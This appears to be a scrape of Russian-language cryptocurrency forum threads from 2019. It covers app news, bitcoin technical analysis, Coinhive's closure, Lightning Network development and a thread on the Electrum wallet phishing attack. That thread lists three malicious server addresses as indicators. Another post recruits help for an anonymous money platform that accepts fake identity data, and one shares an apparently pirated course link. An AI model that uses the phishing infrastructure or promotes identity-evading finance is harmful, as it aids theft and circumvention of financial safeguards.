IT'S LIIIIIIIVE! Get our apps now at: https://coinmarketcap.com/mobile
https://twitter.com/intent/like?tweet_id=1118120192545046528

Click to expand...

https://twitter.com/CoinMarketCap/status/1118120192545046528

Примечательно, что приложения поддерживают функции, недоступные в веб-версии CoinMarketCap, включая отслеживание портфолио, свечные графики, сравнение криптовалют, ценовые оповещения и учетные записи.

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FScreenshot_20190416-174255.png&hash=eb9c394a76620eb558e44205ca89bd44)![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FScreenshot_20190416-174210.png&hash=c99c15710b97ba7fad228217b77fce34)

«Мы уверены, нашим пользователям понравятся новый дизайн и функции, которые мы добавили в приложения. Мы продолжим обновлять их на регулярной основе, учитывая полученную обратную связь» , — отметили представители сервиса.

Click to expand...

Чтобы воспользоваться функцией управления портфолио, пользователям приложения нужно будет зарегистрироваться. Также компания планирует в будущем синхронизировать аккаунты в приложениях и веб-версии сервиса.

Напомним, в марте CoinMarketCap добавил [рейтинговую систему для криптовалют](https://forklog.com/coinmarketcap-dobavil-rejtingovuyu-sistemu- dlya-kriptovalyut/) от стартапа Flipside Crypto.

[EthereumWorks] Разработка на блокчейне Ethereum. Базовый курс
ID: 67686ad7b4103b69df379abe
Thread ID: 28625
Created: 2019-04-06T21:24:18+0000
Last Post: 2019-04-06T21:24:18+0000
Author: F0xman
Prefix: Статья
Replies: 0 Views: 2K

Автор: EthereumWorks
Название: Разработка на блокчейне Ethereum. Базовый курс

Секция 1: Криптовалюты и блокчейн

  1. Шифры;
  2. Асимметричное шифрование;
  3. Основы технологии блокчейн;
  4. «Мифы» о криптовалютах;
  5. Недостатки криптовалют;
  6. Обзор криптовалют;

Секция 2: Solidity

  1. Типы данных;
  2. Ключевые слова;
  3. Обработка ошибок;
  4. Оптимизация смарт-контрактов;
  5. Работа с ораклайзерами;
  6. Работа с библиотеками.

Секция 3: Токены, ICO, DAO

  1. Виды токенов;
  2. Что такое токен;
  3. Стандарт ERC-20;
  4. Что такое ICO;
  5. Этапы проведения ICO;
  6. Архитектура контрактов ICO;
  7. Best Practice контрактов ICO;
  8. Что такое DAO;
  9. Архитектура DAO.

Секция 4: DApp

  1. Библиотека Web3
  2. Архитектура DApp
  3. Основы написания DApp
  4. Реализация более сложных DApp
  5. Best Practice написания DApp
  6. Публикация DApp

Hidden content for authorized users.

cloud.mail.ru

Папка из Облака Mail.Ru

Облако Mail.Ru - это ваше персональное надежное хранилище в интернете. Все нужные файлы всегда под рукой, доступны в любой точке мира с компьютера или смартфона.

cloud.mail.ru cloud.mail.ru

Тех анализ - материалы для самообучения
ID: 67686ad7b4103b69df379abf
Thread ID: 28276
Created: 2019-03-13T19:55:50+0000
Last Post: 2019-03-13T19:55:50+0000
Author: tabac
Replies: 0 Views: 2K

Предыстория.
Когда я начал знакомиться с миром криптовалют, через небольшой промежуток времени, естественно захотелось залить пару копеек на биржу и попробовать начать торговать. И естественно возник вопрос как научится читать график. В то время для меня это был темный лес и я естественно начал искать информацию. А именно интересовал тех анализ и все что с ним связанно...свечи, фигуры. индикаторы и т.д. Но никакой упорядоченной информации я не нашел, так обрывки чего либо...

Выкладываю свои скромную подборку материалов касающихся технического анализа:

Графические паттерны, уровни поддержки-сопротивления

Японские свечи и все что с ними связанно

Основные индикаторы

Видео

Книги

Автор: Maxxx86
взято с bitcointalk.org

Нужна помощь в старте и разработке проекта
ID: 67686ad7b4103b69df379ac1
Thread ID: 28187
Created: 2019-03-08T07:21:36+0000
Last Post: 2019-03-12T20:02:35+0000
Author: Linnni
Replies: 4 Views: 2K

Дорогие кодеры и кодерши , пентестеры и пентестерши, дизайнеры и дизайнерши!
Вы нужны мне! Кидаю клич помощи!

Помощь в старте и разработке замечательного проекта.
ALAS - с латинского "крылья ".
Платформа будет предназначена для анонимного, безопасного хранения и перевода денежных средств.

Цели ALAS'а:
-Обеспечить максимальную защищённость и анонимность;
-На нашей платформе вас никогда не забанят и не ограничат, такой функции просто не будет;
-Без паспортов , и реальных данных , только email или телефон ( по выбору , для защиты и идентификации учётной записи ), можно фейковые , главное чтобы вы имели к ним доступ в случаи утраты пароля или опять же для включения 2FA аутентификации;
-В истории сайта будет хранится только сумма и дата , не имён , не данных, если пользователь сам не откроет доступ;
-Хранение не ограниченно , хоть 1 рубль хоть несколько миллионов;

Хочу чтобы данный проект вышел от лучших , из глубинок интернета , не хочу чтобы у проекта была репутация вечного стартапа из кикстартера или бумстартера.
Он должен выйти от рук лучшего комьюнити!
Буду рад любой помощи !
Будь-то рекомендация , связи, советы, денежная поддержка.
Сейчас самое лучшее это помощь именно в создании , написание сайта и составление дизайна , наработки есть , если вы готовы помочь , распишу всё как можно подробно!
Для связи пишите в теме или в телеграмм: @Linnnii

Биткоин достиг дна? Ряд показателей указывает, что это произошло еще в декабре
ID: 67686ad7b4103b69df379ac2
Thread ID: 28250
Created: 2019-03-12T18:38:50+0000
Last Post: 2019-03-12T18:38:50+0000
Author: tabac
Replies: 0 Views: 2K

Биткоин достиг дна? Ряд показателей указывает, что это произошло еще в декабре

В последнее время биткоин подает достаточно убедительные признаки восстановления. Это заставляет многих задуматься о том, что разворот долгосрочного тренда может быть близок, либо уже начался и, следовательно, ценовое дно пройдено.

Как отметил известный трейдер Питер Брандт, предсказавший падение цены биткоина на 80% еще в январе прошлого года, очень сложно точно выявить вершину или дно тренда, даже с погрешностью 15%. Трудно не согласиться с его утверждением, учитывая чрезмерно оптимистичные прогнозы Тома Ли и Майка Новограца в самый разгар медвежьего рынка.

После длительного падения крайне редко случается резкий V-образный разворот тенденции. Для кардинальной смены тренда цене необходимо пройти фазу накопления, для которой характерен пессимизм, низкий спрос, относительно невысокие объемы торгов, а также незначительный интерес со стороны широкой публики. Последний сейчас все еще крайне низок, учитывая динамику поисковых запросов Google Trends.

В этой статье журнал ForkLog приведет аргументы в пользу того, что рынок мог достичь дна еще в декабре 2018 — январе 2019 и что в настоящее время, учитывая различные показатели, происходит стадия накопления, предшествующая большому движению.

Основы основ теханализа

Каноны теханализа строятся на теории Доу. Перечислим основные ее постулаты:

— все факторы, влияющие на цену, уже заложены в график;
— цена всегда движется в трендах;
— тренд должен подтверждаться объемами торгов;
— история повторяется.

При этом любой первичный тренд состоит из трех фаз:

Во время фазы накопления самые проницательные инвесторы постепенно скупают/распродают активы вопреки мнению основной массы рыночных игроков. Во время этой фазы не происходит сильных изменений цены, поскольку число «продвинутых» инвесторов невелико.

В определенный момент часть игроков рынка улавливает новый тренд, за более опытными инвесторами начинают следовать активные трейдеры, знающие толк в теханализе и не обращающие внимание на сигналы в Telegram-чатах. Поскольку ключевые уровни на графиках одни и те же, а большинство индикаторов основаны на скользящих средних, фаза участия в определенные моменты сопровождается сильными изменениями цены. Это объясняется тем, что на сигналы индикаторов одновременно реагирует множество трейдеров.

Во время третьей фазы наблюдается ажиотажный спрос, поскольку ярко выраженный тренд распознает основная масса участников рынка. В это время «киты» начинают закрывать позиции и фиксировать прибыль, как это происходило со второй половины декабря 2017 года.

Технические индикаторы

Многие индикаторы теханализа указывают на то, что фаза накопления началась еще несколько месяцев назад. В частности, об этом сигнализирует Индикатор денежных потоков (Money Flow Index, MFI), который во многом схож с [RSI](https://forklog.com/polnoe-pogruzhenie-v-tehanaliz- ostsillyatory-tehnicheskie-indikatory-fleta/), однако помимо цены он учитывает и объем торгов.

На дневном графике видно, что в последний раз MFI оказался в области перепроданности еще в декабре.

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp-content%2Fuploads%2FMFI- Daily.png&hash=dd352f693abb4f3b4db71b28a4880b0c)
Дневной график BTC/USD от TradingView
С тех пор индикатор находится в восходящем тренде, указывая на рост давления со стороны покупателей и увеличивающиеся объемы торгов.

Не старшем таймфрейме также видна бычья дивергенция. Кроме того, пробита верхняя граница канала MFI:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp-content%2Fuploads%2FMFI- Weekly.png&hash=87aeae0afecec667e39b5e87539df40f)
Недельный график BTC/USD от TradingView
Показателем смены настроений служит и тот факт, что прорыв канала почти совпал по времени с пробитием динамического сопротивления в виде 100-дневной простой скользящей средней (предыдущий график).

Что касается Индекса относительной силы (RSI), то он также оказался в зоне перепроданности в прошлом декабре. Примечательно, что до этого его значения были ниже 30.00 еще в 2015 году:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FRSI-1.png&hash=69ccf8a1b77f490ef0fa9c83e896d887)
Два поворотных момента на RSI (недельный график BTC/USD от TradingView)

Рассмотрим детальнее, что происходило несколько лет назад. Осенью 2013 года биткоин впервые преодолел отметку $1000. Однако эйфория длилась недолго: рухнули биржа Mt. Gox и сервис BitInstant, на которых осуществлялась львиная доля операций с BTC. На рынке началась рецессия, по своей продолжительности и глубине сопоставимая с пресловутой «криптозимой» 2018 — начала 2019 годов.

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FRSI-2015.png&hash=6888038b5d06a825c84a95d0eca69557)
2015-2016: в преддверии фазы участия. До ретеста отметки $1000 остается больше года. Недельный график BTC/USD биржи Bitstamp от TradingView.

Когда в 2015 году RSI впервые за долгое время провалился в область перепроданности, на рынке также преобладали упаднические настроения, «цифровое золото» стоило чуть дороже $200. Несомненно, не каждый тогда поверил бы, что к середине декабря 2017 года биткоин подорожает почти в 100 раз.

После того значения RSI, также как и сейчас, постепенно росли. Индикатор вошел в область перекупленности лишь в ноябре 2015 года на фоне неимоверного всплеска объемов торгов. Тогда цена биткоина достигла отметки $500, то есть выросла более чем в два раза с начала года. По всей видимости, все это время происходила фаза накопления, поскольку настоящее ралли началось лишь 2017 году.

Примерно в декабре достигли дна значения еще одного индикатора — Mayer Multiple:
![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp-content%2Fuploads%2FMayer- Multiple.png&hash=275a2008274c907e9355f842705611f8)

Как можно заметить, значения индикатора с того момента растут. Это говорит о приближении цены к 200-дневной простой скользящей средней, которую многие инвесторы рассматривают в качестве своего рода границы между медвежьим и бычьим рынком.

Повторение истории видно не только по траектории движения цены, но и по значениям индикатора MACD:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FMACD-1.png&hash=b91ad5657e64c5f9fcba7eed851f2027)
В 2018-2019 и 2014-2015 цена двигалась по схожей траектории. Более «упитанные» свечи говорят о том, что за несколько лет рынок стал ликвиднее и несколько менее волатильным. Недельные графики BTC/USD от TradingView

Несколько лет назад на MACD также формировалась бычья дивергенция. Будучи предвестницей кардинальной смены тренда, она сигнализировала о постепенном ослаблении давления со стороны продавцов. Продолжалась дивергенция около шести месяцев, до января 2015 года, пока цена биткоина не достигла дна на отметке $150. Исходя из того, что паттерны крайне похожи, дном цены в 2018 году с большой вероятностью могла стать отметка $3122, достигнутая в середине декабря.

В настоящее время MACD на недельном графике вновь находится на «зеленой территории». При этом высота гистограммы достигла отметок января 2018 года.

На графиках ниже видно как в конце прошлого февраля впервые с 2015 года 50-недельная скользящая средняя пересекла сверху вниз MA 100:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp-content%2Fuploads%2Fbear- MA-cross.png&hash=ec2f74bbf678f9278e3b1fa6b23f2fc6)
Еще один пример повторения истории. Недельные графики BTC/USD от TradingView

Исторические данные свидетельствуют, что это произошло вблизи минимума — на отметке $152. Скользящие средние пересеклись на фоне смены тенденции на RSI. Пересечение ознаменовало собой полное истощение медведей и начало консолидации цены, длившееся около пяти месяцев. Затем, примерно за год до уполовинивания награды за блок, фазу накопления сменил бычий рынок.

Также можно отметить, что недавно, впервые с июля прошлого года, произошло «бычье» пересечение 5- и 10-недельных скользящих средних:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2Fma-5-10.png&hash=86e69579ad05d22ced2c7802f7fe68a8)
MA с периодами 5 и 10 на недельном графике BTC/USD от TradingView

Помимо прочего, впервые с июля 2018 года пересекла нулевую отметку гистограмма Awesome Oscillator:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FAO.png&hash=91925ec92070f17d0e621b337f024664)
Трехдневный график BTC/USD биржи Coinbase от TradingView. Источник: CoinDesk Markets

Созданный американским трейдером Биллом Уильямсом «Чудесный осциллятор» обычно используется для подтверждения тренда или для прогнозирования его разворотов.

В том, что рынок криптовалют подвластен теории Доу и теханализу в целом, убедились и аналитики канадской компании Canaccord Genuity Capital Markets. Исследователи сопоставили графики BTC/USD за 2011-2015 и 2015-2019 годы и отметили поразительное сходство между паттернами, по которым следовала цена биткоина в эти периоды:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FCanada.png&hash=1b88de4cf685dccfe31511ce1f1bd70a)

В компании пришли к выводу, что BTC уже достиг дна, а отметка $20 000 будет вновь достигнута в марте 2021 года.

Объемы

Одним из важнейших подтверждений разворота тренда является рост объема торгов. Он придает быкам оптимизма и уверенности в том, что восходящее движение будет более-менее продолжительным, а не коварным «прыжком дохлой кошки», случавшимся неоднократно на протяжении 2018 года.

На графике ниже можно увидеть, что в течение последних нескольких недель объемы торгов криптовалютами достигли уровня января 2018 года, когда капитализация рынка была близка к пиковым отметкам:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FVolume-1.png&hash=ea04b3dbf56a291e0e83df1a71668b3e)
График капитализации рынка и общего объема торгов криптовалютами от TradingView

Таким образом, налицо признаки оживления рынка и возобновления интереса инвесторов.

Активизировались и «киты» на Чикагской товарной бирже. Так, в феврале на CME был зафиксирован рекордный объем торгов фьючерсами на биткоин:

С начала 2019 года длинные позиции преобладают над короткими на бирже Bitfinex, что также сигнализирует о смене настроений:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2Fbitfinex-3.png&hash=1247669a2574f1f4b1a5aeb298160663)
Соотношение лонгов и шортов на бирже Bitfinex. График от TradingView

Фундаментальные факторы и рыночные настроения

Аналитики вышеупомянутой канадской компании Canaccord Genuity Capital Markets перечислили основные факторы будущего роста «цифрового золота»:

— ожидаемое в конце мая 2020 года уполовинивание награды майнерам за добытый блок;
— запуск платформы для трейдинга и хранения криптовалют от Fidelity;
— растущий интерес к BTC со стороны институциональных инвесторов;
— внедрение решений, повышающих производительность сети биткоина;
— рост популярности криптовалют в развивающихся странах.

Все эти факторы, несомненно, положительно влияют на настроения многих инвесторов. Так, впервые за долгое время криптовалютный «индекс страха и жадности» перестал сигнализировать о тревоге на рынке:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2Ffear1.png&hash=a4101596849ea5977d034ffed8558a46)

При этом положительный тренд наметился еще в начале декабря, что является еще одним подтверждением основного тезиса данного материала:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2Ffear2.png&hash=68a14270812bdd1a33f931525c1a86b8)

Не исключено, что также как и в 2015 году, значимый фактор оживления рыночной активности — очередной халвинг, до которого осталось чуть больше года. Эту версию активно поддерживает криптоэнтузиаст planB. По его мнению, самые низкие показатели биткоин демонстрирует за 17-12 месяцев до халвинга, а на протяжении последующего года происходит их постепенный рост, который усиливается после самого события.

Отметим, что следующий халвинг должен состояться 25 мая 2020 года. Награда за добытый майнерами блок уменьшится с 12,5 BTC до 6,25 BTC. Это сделает биткоин еще более дефицитным активом и, согласно закону спроса и предложения, положительно повлияет на цену в средне- и долгосрочной перспективе.

Что касается самих майнеров, то, согласно недавнему отчету Diar, их доход упал до 19-месячного минимума:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2Fdiar.png&hash=0a36d0551ae991e23c1f1cc678db509b)

Тем не менее рентабельность добычи биткоина постепенно начинает расти. Также в сторону повышения развернулась кривая суммарной вычислительной мощности оборудования:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2Fdiar2.png&hash=05f0ae2188f9c81aa21815c8b4fd8977)

Однако некоторые эксперты криптоиндустрии убеждены, что рост хешрейта — неоднозначный сигнал для рынка. Так, по мнению технического директора стартапа Casa Джеймсона Лоппа, майнеры руководствуются спекулятивным интересом в отношении будущей цены.

Таким образом, ветеран криптоиндустрии намекает, что в будущем именно майнеры могут оказывать серьезное давление на цену «цифрового золота».

Еще одним важным фундаментальным фактором, отражающим спрос на биткоин как платежное средство, является объем транзакций. Этот показатель восстановился до значений января 2018 года:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2Ftrans.png&hash=cf9a97bf81982221e3f4390943013770)

Более года назад биткоин все еще торговался гораздо выше отметки в $10 000. Однако средний размер транзакционной комиссии тогда был в десятки раз выше, чем сейчас.

Если сопоставить высокие текущие показатели блокчейн-активности с ценой биткоина, можно прийти к выводу, что криптовалюта, возможно, несколько недооценена. Этот тезис подтверждают данные индикатора MVRV (Market Cap versus Realized Cap), который показывает соотношение рыночной капитализации к реализованной:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FMVRV-2.png&hash=75b417ca7c6c5c9b9ddc57a7433c7c05)

Значение MVRM ниже отметки 1.0 говорит о недооцененности биткоина. Если же значение индикатора выше 3-4, то актив значительно переоценен. Сейчас значение MVRM на отметке 0.95. Это говорит, что актив уже почти выбрался из глубокой перепроданности и цена приближается к равновесию.

Интересным наблюдением поделился глава инвестиционной группы BKCM Брайан Келли. По его мнению, положительным для рынка сигналом является бычья дивергенция между активным биткоин-адресами (красная линия) и ценой (закрашенная область):

С конца прошлого года постепенно растут и значения Bitcoin Network Momentum — индикатора-предвестника роста цены биткоина:

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2FNetwork- Momentum-1.png&hash=cdc8a52d12bc69ac8232f98ab669cf1a)

Следует учитывать, что некоторая часть биткоин-транзакций осуществляется офчейн, например, в сети второго уровня Lightning Network (LN). Это может несколько занижать значения Bitcoin Network Momentum, который сопоставляет объем ончейн-транзакций с ценой BTC.

По данным 1ML, в LN работает более 7100 нод, 33 тысячи платежных каналов, а емкость сети превышает 760 BTC (почти $3 млн):

![](/proxy.php?image=https%3A%2F%2Fforklog.com%2Fwp- content%2Fuploads%2F1ml-6.png&hash=483a9abfc27deb56463d17b9ed7955a0)


Паттерны, которые вырисовывала цена несколько лет назад, значения индикаторов, показатели динамики объемов торгов, хешрейта, транзакционной активности — все это циклично повторяется. Таким образом, теория Доу и, следовательно, основные постулаты теханализа — не пустые слова.

Как свидетельствуют исторические данные, фаза накопления длится не менее шести месяцев. Следовательно, тем, кто жаждет булрана прямо сейчас, придется запастись терпением.

Александр Кондратюк
Взято с forklog.com

Coinhive прекратит существование 8 марта 2019 года
ID: 67686ad7b4103b69df379ac6
Thread ID: 28079
Created: 2019-02-28T11:42:52+0000
Last Post: 2019-02-28T11:42:52+0000
Author: tabac
Replies: 0 Views: 2K

Coinhive прекратит существование 8 марта 2019 года

Coinhive, знаменитый сервис для легитимного майнинга криптовалюты, который так полюбили многие злоумышленники, совсем скоро прекратит свое существование. Владельцы сервиса сообщили, что жить ему осталось ровно до 8 марта 2019 года.

Соответствующее сообщение было опубликовано в блоге Coinhive, в нем говорится следующее: «Мы приняли решение. Сервис Coinhive прекратит свою работу 8 марта 2019 года. Мы получили массу удовольствия, работая над этим проектом на протяжении последних 18 месяцев, но если говорить до конца откровенно, сервис больше финансово невыгоден».

«После последнего хард форка хэшрейт упал более чем на 50% — это сильно по нам ударило. Также нас затронуло и общее падение рынка криптовалют».

«Таким образом, после 8 марта использовать Coinhive уже будет нельзя. Однако ваша панель управления останется доступна вплоть до 30 апреля, чтобы вы смогли вывести все свои средства».

Еще в 2017 году мы сообщали, что инструмент Coinhive пользуется большой популярностью у хакеров.

Blog – Coinhive – Monero Mining Club

Monero Mining Club

![coinhive.com](/proxy.php?image=https%3A%2F%2Fcoinhive.com%2Fmedia%2Fcoinhive- icon.png&hash=c53309ab28565112e5b8dc77946d8c4b&return_error=1) coinhive.com

Как будет развиваться Bitcoin Lightning Network в 2019 году
ID: 67686ad7b4103b69df379ac7
Thread ID: 27575
Created: 2019-01-30T20:46:17+0000
Last Post: 2019-02-18T15:37:19+0000
Author: lukas
Replies: 1 Views: 2K

Только за последние 30 дней количество платежных каналов Lightning Network увеличилось примерно на 36%, в результате чего их общее число достигло примерно 22 000. Количество активных узлов также выросло более чем на 16% в последние дни и достигло 5 690, а пропускная способность Lightning Network в блокчейне Биткоина [превысила](https://bits.media/propusknaya-sposobnost-lightning-network-v- blokcheyne-bitkoina-prevysila-500-btc/) 500 BTC.
Технология платежей второго уровня, [запущенная](https://bits.media/chto- oznachaet-reliz-beta-versii-lightning-network/) в бета-версии в марте прошлого года, активно поддерживается и развивается шестью различными командами разработчиков по всему миру. К ним относятся Eclair от Acinq, Lightning Network Daemon (LND) от Lightning Labs, c-lightning от Blockstream, ptarmigan от Nayuta, Rust-Lightning Мэтта Коралло (Matt Corallo) и Lit от Digital Currency Initiative (DCI) MIT.
Есть активность и за пределами этих шести команд. Пьер-Мари Падью (Pierre- Marie Padiou), соучредитель и генеральный директор Acinq, заявляет, что есть еще полдюжины команд, которые также работают над улучшениями сети. Подчеркнув, что кодовая база для создания клиентов Lightning является открытым исходным кодом и доступна любому «без запроса разрешения», Падью добавил, что список из 30 с лишним улучшений сети был согласован разработчиками во время саммита в Аделаиде в ноябре прошлого года.

«Теперь, после саммита, работа будет продолжена, чтобы формализовать решения, принятые в ходе саммита, и внедрить их в своих клиентах, чтобы их можно было развернуть», - пояснил Кристиан Декер (Christian Decker), главный технический специалист Blockstream.

Click to expand...

Начиная с ноября, технический директор Lightning Labs Олаолува Осунтокун (Olaoluwa Osuntokun) уже выпустил одну функцию, позволяющую «отправлять платеж в пункт назначения без предварительного выставления счета», как подробно описано на GitHub. Объясняя, что у каждой группы клиентов «есть свои любимые функции», Декер добавил, что в ближайшие недели и месяцы будут внесены дополнительные изменения в сеть «поэтапными» шагами, реализуемыми по частям.
Таким образом, разработчики Lightning с оптимизмом смотрят на продолжающийся успех сети, ожидая, что тенденции роста, наблюдаемые в 2018 году, продолжатся и в 2019-м. Падью отметил:

«В последние несколько месяцев мы наблюдаем огромную активность и уверены, что эта тенденция усилится в 2019 году».

Click to expand...

Взгляд в будущее
По данным сайта аналитики блокчейна P2SH.info, количество биткоинов, отправленных по каналам Lightning с июня прошлого года, выросло с менее чем 25 BTC до 578 BTC. Говоря о более высоких показателях распространения сети в 2019 году, Декер сказал, что ключ к созданию «очень активного и заинтересованного сообщества… созданию и улучшению Lightning» сводится к ее потенциалу «изменить то, как мы осуществляем платежи в будущем».
Действительно, основной сценарий использования сети Lightning, как описано на официальной веб-странице технологии - это «мгновенные платежи без беспокойства о времени подтверждения блока». Транзакции с использованием Lightning Network совершаются за секунды по сравнению с примерно десятью минутами для транзакций непосредственно в блокчейне Биткоина.
И хотя платежи за товары и услуги с использованием дебетовой или кредитной карты в большинстве развитых стран совершаются относительно легко, ограничения на такие традиционные банковские услуги являются обычной проблемой для маргинализованного населения внутри (и за пределами) стран первого мира.
Согласно карте открытых каналов Lightning, большинство серверов, работающих в сети Lightning, сосредоточены в Северной Америке и Европе. Говоря об этой демографии пользователей, Падью объяснил, что, хотя сообщество разработчиков Биткоина «исторически было сильнее в Северной Америке и Европе», узлы, изображенные на карте, не показывают количество мобильных пользователей Lightning, которые могут быть «распределены немного более равномерно». Он добавил:
«Я считаю, что языковой барьер часто недооценивают, и такие инициативы, как Reading Bitcoin, которые предоставляют переводы на китайский, японский и корейский, очень полезны людям».
С точки зрения Декера, карта открытых каналов Lightning «очень близко совпадает с картой интернет-пользователей или картой развернутых узлов Биткоина», чего «следовало ожидать, поскольку именно эти регионы наиболее вероятно знают о Биткоине, владеют каким-то количеством монет и тестируют программное обеспечение». Тем не менее, Декер подтвердил, что разработчики в 2019 году посвятили себя «расширению охвата Биткоина и Lightning во всем мире».

«Мне не известны какие-либо конкретные планы по стимулированию распространения технологии в определенных регионах, но мы будем рады любому пользователю и сделаем все возможное, чтобы поддержать его», - сказал Декер.

Click to expand...

Новые разработки
На данный момент на повестке дня нет конкретных целей в цифрах для разработчиков Lightning, которые должны быть достигнуты к концу 2019 года, хотя, как уже упоминалось, существует длинный список функций, направленных на увеличение пропускной способности сети, которые планируется развернуть в ближайшие месяцы.
Basis of Lightning Technology (BOLT 1.0), представляет собой общее открытое хранилище исходного кода, которое содержит все необходимые технические требования или спецификации для участия пользователей в развитии Lightning Network. Не следует путать его с BOLT - реализацией Lightning для сети Zcash, [выпущенной](https://bits.media/tekhnologiya-bolt-razreshit-konfidentsialnye- tranzaktsii-v-lighting-network-dlya-zcash/) доктором Айо Акиниеле (Ayo Akinyele) в августе прошлого года. BOLT 1.1 - это предполагаемое обновление для BOLT 1.0, которое будет охватывать новые разработки, связанные с Lightning.
Осунтокун признал, что точную «дорожную карту» для BOLT 1.1 было «сложно оценить... так как она в значительной степени сводится к расстановке приоритетов различных групп разработчиков для каждой реализации».

«[Клиенты] будут реализовывать функции параллельно, в соответствии с их собственными приоритетами и в той степени, в которой они им лучше всего подходят... некоторые реализации могут отказаться от некоторых функций», - добавил Декер.

Click to expand...

Пять функций, которые Осунтокун выделил как «имеющие наибольшее влияние на конечного пользователя», включают в себя:

1. Сплайсинг
В настоящее время каждый платежный канал обладает фиксированной пропускной способностью, и возможностью отправлять только то количество биткоинов, которое было изначально поставлено в начале создания канала. Однако в случае, если пользователь хочет увеличить или уменьшить пропускную способность канала, требуется открытие совершенно нового канала с теми же участниками.
Требуя такое же количество комиссий и время ожидания подтверждения, что и при обычной транзакции биткоина, [сплайсинг](https://bits.media/platezhi- lightning-stanovyatsya-vse-bezopasnee-novovvedeniya-i-plany-po-uluchsheniyu- raboty-ln/) позволяет пользователям избежать создания нового канала, внося изменения в пропускную способность существующего канала.

2. AMP
AMP расшифровывается как «Атомарные многоканальные платежи». По словам Осунтокуна, AMP позволят значительно «повысить удобство использования» Lightning Network. Вместо того, чтобы осуществлять платежи по единственному пути в сети, AMP дает пользователям возможность отправлять фрагменты платежей по нескольким общедоступным каналам. Кроме того, как отмечает разработчик c-lightning Расти Рассел (Rusty Russell), пользователи AMP также могут использовать технологию в качестве функции «разделения счета» при проведении платежей Lightning одной стороне из нескольких разных источников.

3. Wumbo Channels
Технология получила название в честь термина «wumbo», упомянутого в одном из эпизодов американского мультсериала «Губка Боб Квадратные Штаны», и который используется для обозначения увеличения размера. Wumbo Channels отвечают за увеличение максимального количества биткоинов, которое может быть отправлено через канал Lightning. По соображениям безопасности разработчики Lightning устанавливают максимальную пропускную способность канала в 0.16 BTC или примерно $570.

4. Статический адрес для удаленных выходов
Падью объясняет, что для улучшения «сценариев аварийного восстановления» в Lightning Network, необходимы статические адреса, которые обеспечивают легкое восстановление средств для пользователей.

«Эта функция - статический информационный адрес - означает, что, имея только секретную фразу (seed) к вашему кошельку Lightning, вы сможете восстановить основной баланс в своем канале», - сказал Падью.

Click to expand...

Seed, являющийся мнемонической фразой для восстановления доступа, прикрепленной ко всем кошелькам Lightning (а также Биткоина и других криптовалют), в настоящее время требуется пользователям наравне с информацией, относящейся к конкретному каналу, для восстановления утраченных средств.

5. 2p-ECDSA
Возможно, самое важное обновление по мнению Осунтокуна - 2p-ECDSA, которое будет маскировать транзакции, выполняемые в блокчейне Биткоина, для создания платежных каналов Lightning. В настоящее время транзакции по открытию и закрытию платежного канала легко дифференцируются от транзакций внутри сети. Это улучшение, как только оно будет реализовано, добавит дополнительный уровень анонимности для пользователей, затрудняя различие между активностью канала Lightning и обычными действиями по платежам в биткоине.
Говоря обо всех ожидаемых изменениях в репозитории BOLT, Падью подчеркнул:
«Нам не придется менять очень важные, очень низкоуровневые программные решения ... Это очень хорошая новость, потому что мы могли совершить большие ошибки и могли бы начать все сначала, но нам не придется это делать. Переход на 1.1 - это просто работа поверх уже действующей первой версии».

В свете повестки дня в области развития, установленной на 2019 год, приоритет, по мнению Падью, заключается в «надежности во всех направлениях «дорожной карты», способствующей дальнейшему внедрению технологии.
«Платежная сеть должна «просто работать». Она имеет ценность только в том случае, если позволяет отправлять и получать деньги, когда вам это нужно», - утверждает Падью. «Чем надежнее она становится, тем больше компаний с большой базой пользователей будут готовы ее поддержать».

Фишинг Electrum
ID: 67686ad7b4103b69df379ac9
Thread ID: 27722
Created: 2019-02-06T20:35:20+0000
Last Post: 2019-02-07T10:12:07+0000
Author: pablo
Replies: 4 Views: 2K

Был обнаружен интересный и качественный фишинг биткоин кошеля Electrum http://electrum.org

Официальное уведомление разработчиков:
Warning: Versions of Electrum older than 3.3.3 are vulnerable to a phishing attack, where malicious servers are able to display a message asking users to download a fake version of Electrum. Do not download software updates from another source than electrum.org. In order to reach users of vulnerable versions, we have started to use the same vulnerability, and to direct them to electrum.org.

![](/proxy.php?image=https%3A%2F%2Fuser- images.githubusercontent.com%2F29142493%2F50359293-8780b500-055c-11e9-8cfd-83b342edeffb.png&hash=dd3374586349ad6bf1ff353e9e1ef80d)

![](/proxy.php?image=https%3A%2F%2Fuser- images.githubusercontent.com%2F29142493%2F50459970-1cc2e580-0971-11e9-9017-7025b8f32197.png&hash=fe6aa830cc0729a9c58bd7d78a81ea2c)

Фишинговое уведомление появляется прям в кошеле Electrum.

Фишинг выглядит так:

Уязвимые версии Electrum <3.3.3
PoC: https://github.com/spesmilo/electrum/issues/4968
Сообщение разработчика:

__https://twitter.com/x/status/1083334662427164672

Attacker servers:

Code:Copy to clipboard

  'gregoire12.mldlab-works.space:50002:s',
  'readonly.23734430190.pro:50002:s',
  'wireless12.bitquantum.space:50002:s',
